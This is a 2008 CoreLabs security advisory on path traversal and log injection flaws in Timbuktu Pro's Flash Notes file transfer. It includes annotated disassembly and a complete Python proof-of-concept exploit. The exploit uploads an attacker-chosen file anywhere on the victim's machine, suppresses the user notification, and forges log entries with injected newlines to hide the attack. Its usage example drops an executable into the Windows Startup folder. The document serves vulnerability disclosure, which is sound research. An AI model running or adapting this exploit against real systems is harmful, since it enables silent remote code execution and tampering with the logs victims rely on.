Core Security Technologies - CoreLabs Advisory
Title: Timbuktu Pro Remote Path Traversal and Log Injection
Advisory ID: CORE-2008-0204
Advisory URL: http://www.coresecurity.com/?action=item&id=2166
Date published: 2008-03-11
Date of last update: 2008-03-11
Vendors contacted: Motorola
Release mode: Forced release
Timbuktu Pro  is a desktop-to-desktop remote control software for the Windows and Macintosh operating systems. The following vulnerabilities have been identified in Timbuktu Pro:
1) File transfer directory traversal (CVE-2008-1117): The '\' and '/' are not properly sanitized when checking the destination filename. The problem resides in the Notes feature implemented by tb2ftp.dll loaded by the tb2pro.exe. This is the main issue.
2) Log input manipulation (CVE-2008-1118): Several fields of the packet containing peer information (computer name, user name and IP address) are taken from the packet sent to the target and used to display this information on the screen of the target.
The vulnerabilities discovered allow a remote attacker to upload a file to an arbitrary location on the victim's machine and forge peer information on the log lines of the victim's application. For example, an attacker could write an executable in a startup directory of the victim's machine and wait for the user to restart his/her machine. Another example is to write a fake system DLL in an existing program directory, inducing Windows to load this module instead of the real DLL from
- Timbuktu Pro 8.6.5 for Windows.
- Timbuktu Pro 8.7 for Mac OS X may also be vulnerable.
Vendor Information, Solutions and Workarounds
Contact the vendor for fix information.
This vulnerability was discovered and researched by Sebastián Muñiz from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
Technical Description / Proof of Concept Code
The most important bug is the directory traversal (1) bug for the Flash Notes feature of the Timbuktu Pro client.
Timbuktu Pro is able to send Flash Notes (like an instant message) and attach files to those notes. Both the message (which will be written to a text file once received by the target) and the files attached to the note are transferred to a temporal folder on the target installation folder (default path is C:\Program Files\Timbuktu Pro\). The file transfer begins and it is unnoticed by the target user. Once the transfer is complete, the target user is shown a dialogue on the screen that displays the message with the names of the files attached.
The user reads the message and he/she can decide whether or not to keep the uploaded files. If the user closes the message dialogue, the files are deleted from the temp folder; otherwise they are kept. The bug allows the attacker to upload a file to ANY location relative to the Timbuktu Pro installation folder with an attacker-selected filename for the target.
Another very important thing is that when the files are stored outside the temporal folder, they are not deleted even if the user refuses to save the file.
Additionally, the attacker can avoid displaying the dialogue that notifies the user about the message and the attached files making the attack invisible for the target.
The other bug is a logging file content manipulation vulnerability allowing the attacker to use the data inside protocol's packet to disrupt the log file with control characters like '\n' and others. This bug is not very important alone, but could be combined with the traversal bug to cover tracks about the file upload inserting false log lines or control characters.
In the following code the the program obtains the filename from the packet searching from right to left for the filename without the path following the last '\'. Then if a '\' character is found then it doesn't search for the character '/', making it possible to traverse the directories, sending a filename like
\../../../evil.exe. In this example, the resulting filename extracted is
A dangerous possibility is writing an executable in a startup directory of the victim's machine and wait for the user to restart his/her machine. Another one is writing a fake system DLL in an existing program directory, inducing Windows to load this module instead of the real DLL from
Disassembled vulnerable code follows, read the comments if you want to fully understand the bug:
.text:6063A62E mov edx, [ebp+lp] .text:6063A631 mov eax, [edx+20h] ; Packet field containing filename .text:6063A634 push eax ; EAX is also the output buffer .text:6063A635 call ds:Pascal2C ; Extract filename from packet .text:6063A63B push '\' ; Char to filter in the filename .text:6063A63D mov ecx, [ebp+lp] .text:6063A640 mov edx, [ecx+20h] .text:6063A643 push edx ; Filename obtained in 0x6063A635 .text:6063A644 call _strrchr ; Search for '\' in the filename .text:6063A649 add esp, 8 ; At this point, the pointer to the ; position of the '\' is obtained and ; will be stored in a local variable. .text:6063A64C mov [ebp+pSlashPosition], eax ; Store '\' pointer .text:6063A64F cmp [ebp+pSlashPosition], 0 ; This is the BUG !!!! .text:6063A653 jnz short loc_6063A669 ; It avoids checking '/' if ; '\' was found, so we must ; send '\' and then as much ; "../" as we want :) .text:6063A655 push '/' ; This check won't be done .text:6063A657 mov eax, [ebp+lp] ; because the '\' was found .text:6063A65A mov ecx, [eax+20h] .text:6063A65D push ecx .text:6063A65E call _strrchr .text:6063A663 add esp, 8 .text:6063A666 mov [ebp+pSlashPosition], eax .text:6063A669 loc_6063A669: .text:6063A669 cmp [ebp+pSlashPosition], 0 ; Check if a slash was found so .text:6063A66D jz short loc_6063A68C ; it copies past it's position .text:6063A66F push 200h .text:6063A674 mov edx, [ebp+pSlashPosition]; Get the '\' position and move .text:6063A677 add edx, 1 ; forward 1 byte to avoid it .text:6063A67A push edx .text:6063A67B mov eax, [ebp+lp] .text:6063A67E add eax, 4B0h .text:6063A683 push eax .text:6063A684 call ds:lstrcpynA ; From know on, the filename .text:6063A68A jmp short loc_6063A6A ; contains something like ../a.exe :) . . . . .
Proof of concept code follows. This PoC allows a remote attacker to upload a file to an arbitrary location on the victim's machine and forge peer information on the log lines of the victim's application.
from sys import argv from socket import * from struct import pack #from utils import printFormatted #from time import sleep init_send_op_packet = ( '\x00\x01\x60\x00\x00\x52\x00\x25' '\x00\x22\x02\x01\x00\x04\x03\x07' '\x00\x05\x00\x01\x00\x00\x00\xf1' '\x06\x00\xf7\x76\xdd\x77\x00\x00' '\x00\x00\x08\x7c\x67\x60\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x18\xf1\x06\x00\xd1\x90' '\xbc\x60\x38\xf1\x06\x00\x32\x94' '\xc1\x60\x50\x92\xc4\x60\x00\x00' '\x00\x00\x18\x92\xc4\x60\x2d\xbe' '\x80\x7c\x08\x7c\x67\x60\x20\x46' ) second_send_op_packet = ( '\x00\x01\x61\x00\x00\x52\x00\x25' '\x00\x22\x02\x01\x00\x04\x03\x07' '\x00\x05\x00\x01\x10\x00\xe0\xf0' '\x06\x00\x51\x05\x91\x7c\x28\x09' '\x08\x00\x6d\x05\x91\x7c\x1c\xf1' '\x06\x00\x02\x00\x00\x00\x10\x00' '\x00\x00\xb8\xf5\xbe\x60\x00\x00' '\xac\x00\x00\x00\x00\x00\xbd\xf5' '\xbe\x60\x30\x90\xc4\x60\x07\x00' '\x00\x00\xd0\x13\x63\x60\x71\xfb' '\x90\x7c\x40\xf0\x06\x00\x0e\x00' ) peer_info_exchange = ( '\x00\x01\x62\x00\x00\xb0\x00\x23' '\x07\x22\x03\x07\x70\x2c\xa5\x51' '\x4c\xca\xe3\xfb\x70\x2c\xa5\x51' '\x4c\xca\xe3\xfb\x00\x09' '%(user_name)s' '\x01\x97' '%(host_name)s' '' '\x00\x00\x01\x02\x00\x04' '\xb1\x1c\x39\x51\x00\x00\x00\x00' '%(guest_ip_address)s' '\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00' ) ack_peer_info = '\xff' attach_info_packet = ('\xfb\x00\x00\x00\x00' 'BINAmdos' '\xc2\x12\x49\xaf\xbd\x35\xac\x98' '\x00\x00\x00\x00' '%(attachment_length)s' '\x00\x00\x00\x00' '\xff\xff\xff\xff\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00' '%(attachment_filename)s' ) attach_info_ack1 = '\xf9\x00' # Transfer file content here !!! # \xF8 + 2 byte length + data attach_file_ack1 = '\xf7' attach_file_ack2 = '\xfa' class Tb2FileSender: ''' Fake timbuktu client that implements the 'Notes' feature to send a message with a file attached to it. ''' def __init__(self, target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content): ''' Setup TCP Connection to standard port TCP/407 ''' self.sck = socket(AF_INET, SOCK_STREAM) self.sck.connect((target, 407)) self.fake_src_ip = fake_src_ip self.fake_hostname = fake_hostname # Peer computer name self.fake_username = fake_username # Peer user name self.dest_filename = dest_filename # Destination filename including path (like ../../a.exe) self.file_content = file_content # Content of the destination file def sendAndRecv(self, packet, log, expected_response_length=0x500, print_response=False): self.sck.send(packet) if log: print '[-] %s' % log if expected_response_length > 0: resp = self.sck.recv(expected_response_length) if print_response: #printFormatted(resp) print '-' * 70 + '\n' return resp return None def getPascalString(self, str): ''' Format the strings as 1 Byte Length + String. ''' return pack('B', len(str)) + str def createFakePeerInfoPacket(self): ''' Create a packet with forged guest information to avoid giving away real info in the log files. ''' # # Ohhh... by the way, these two names goes diretly to the log file... ehehhee :) # guest_host_name = self.fake_hostname.replace('\\n', '\r\n') guest_user_name = self.fake_username.replace('\\n', '\r\n') username_max_len = 0x37 # This is not the application real limit, hostname_max_len = 0x3f # but it is the limit for this packet. host_name = self.getPascalString(guest_host_name) user_name = self.getPascalString(guest_user_name) # Pad the string to fill the empty space and avoid packet length recalculation host_name += ('\x00' * (hostname_max_len - len(guest_host_name))) user_name += ('\x00' * (username_max_len - len(guest_user_name))) guest_ip_address = self.fake_src_ip.split('.') guest_ip_address = pack('BBBB', int(guest_ip_address), int(guest_ip_address), int(guest_ip_address), int(guest_ip_address)) return peer_info_exchange % vars() def getAttachContent(self): ''' Retrieve the content of the local file and send it as the attach content. ''' fd = open(self.file_content, 'rb') data = fd.read() fd.close() return data def send(self): ''' Send a sequence of packet to upload our data to the filename and path specified by the user's parameters. ''' # Begin protocol negotiation with the target self.sendAndRecv(init_send_op_packet, 'Note Operation initial packet sent.') self.sendAndRecv(second_send_op_packet, 'Note Operation negotiation packet sent.') # Send the packet with our fake info to fool the logs :) self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info packet sent.') self.sendAndRecv(ack_peer_info, 'Ack peer info packet sent.') # Setup attachment packets that contain information about the file being transfered max_trx_chunk_size = 0x5B4 trx_until_resync = 0x16C5 payload = self.getAttachContent() payload_length = len(payload) attachment_length = pack('>L', payload_length) # # Send info about the attachment. # # The '\' character is nedded to bypass the application filter. # This is actually the Bug ! attachment_filename = self.getPascalString('\\' + self.dest_filename.replace('\\', '/')) attach_info = attach_info_packet % vars() self.sendAndRecv(attach_info , 'Attachment info sent.') self.sendAndRecv(attach_info_ack1, 'Attachment intermediate info sent.') # Create a list with the chunks to send and prepare their headers is appropriate attachment_content = list() # We check if the data to send fits into one set of chunks. if payload_length < max_trx_chunk_size: attachment_content.append('\xF8' + pack('>H', payload_length) + payload) else: # If the data is bigger than one chunk, then send multiple chunks and their headers. curr_pos = 0 # keeps our current position into the data file content resync_chunk = True # flag to indicate if a new set of chunk should be set pos_in_chunk = 0 # keeps our position into the current chunk set do_recv = False # flag to indicate if recv is needed to receive target data while curr_pos <= payload_length: do_recv = False # Is this the last chunk ? if curr_pos > 0 and pos_in_chunk != trx_until_resync: # If it is the last chunk, then just set length to the rest of the data if trx_until_resync - pos_in_chunk < max_trx_chunk_size: chunk_length = trx_until_resync - pos_in_chunk do_recv = True else: # Otherwise, set the data length as usual because it's an intermediate chunk chunk_length = max_trx_chunk_size data = '' else: # Start a new set of chunks and check if this is not the last set # If it is, then don't set the maximun size, just the rest of the length. data = '\xF8' # Set the chunk set header if payload_length - curr_pos < trx_until_resync: chunk_length = payload_length - curr_pos data += pack('>H', chunk_length) else: # This is not the last chunk, so we set the maximun size and begin # it transmittion. chunk_length = max_trx_chunk_size data += pack('>H', trx_until_resync) pos_in_chunk = 0 # Append the current chunk into a list to be sent later attachment_content.append((do_recv, data + payload[curr_pos : curr_pos + chunk_length])) curr_pos += chunk_length pos_in_chunk += chunk_length # # Send file content in small chunks # print '[-] Beginning file transfer... (this may take some time)' for chunk in attachment_content: if chunk: do_recv = 0x500 else: do_recv = 0 self.sendAndRecv(chunk, '', do_recv) #sleep(0.5) print '[-] File transfer complete' # Send the final ACKs to allow the program to create the remote file. self.sendAndRecv(attach_file_ack1, 'Note body intermediate info sent.') self.sendAndRecv(attach_file_ack2, 'Note body intermediate info sent.') # Close the connection here to avoid the program displaying any message self.sck.close() return if __name__ == "__main__": if len(argv) != 7: print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> ' '<fake_username> <dest_filename_with_path> <file2upload>\n\n' 'Example:\n\n' '%s victim.com 18.104.22.168 trust.com yourAdmin "..\..\..\Documents And Settings\All Users\Start Menu\Programs\Startup\evil.exe" c:\payload.exe' % (argv, argv) ) else: target = argv fake_src_ip = argv fake_hostname = argv fake_username = argv dest_filename = argv file_content = argv tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content) tb2.send()
- 2008-02-07: Vendor is notified that a vulnerability was discovered and that an advisory draft is available.
- 2008-02-07: Vendor acknowledges and requests the draft.
- 2008-02-07: Core sends the draft, including PoC code.
- 2008-02-08: Vendor acknowledges the draft.
- 2008-02-19: Core requests update info on the vulnerability and text for the advisory section called "Vendor Information, Solutions and Workarounds".
- 2008-02-20: Vendor acknowledges saying the vulnerability was reproduced and the estimated date March 4th should be met.
- 2008-03-03: Core requests update info on the vulnerability and text for the advisory section called "Vendor Information, Solutions and Workarounds".
- 2008-03-10: Core requests update info on the vulnerability and confirmation of findings regarding the same bug reported in August 2007.
- 2008-03-10: Luigi Auriemma independently publishes an advisory describing the path traversal vulnerability .
- 2008-03-11: Forced release of advisory CORE-2008-0204 since this vulnerability is already public.
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/.
About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.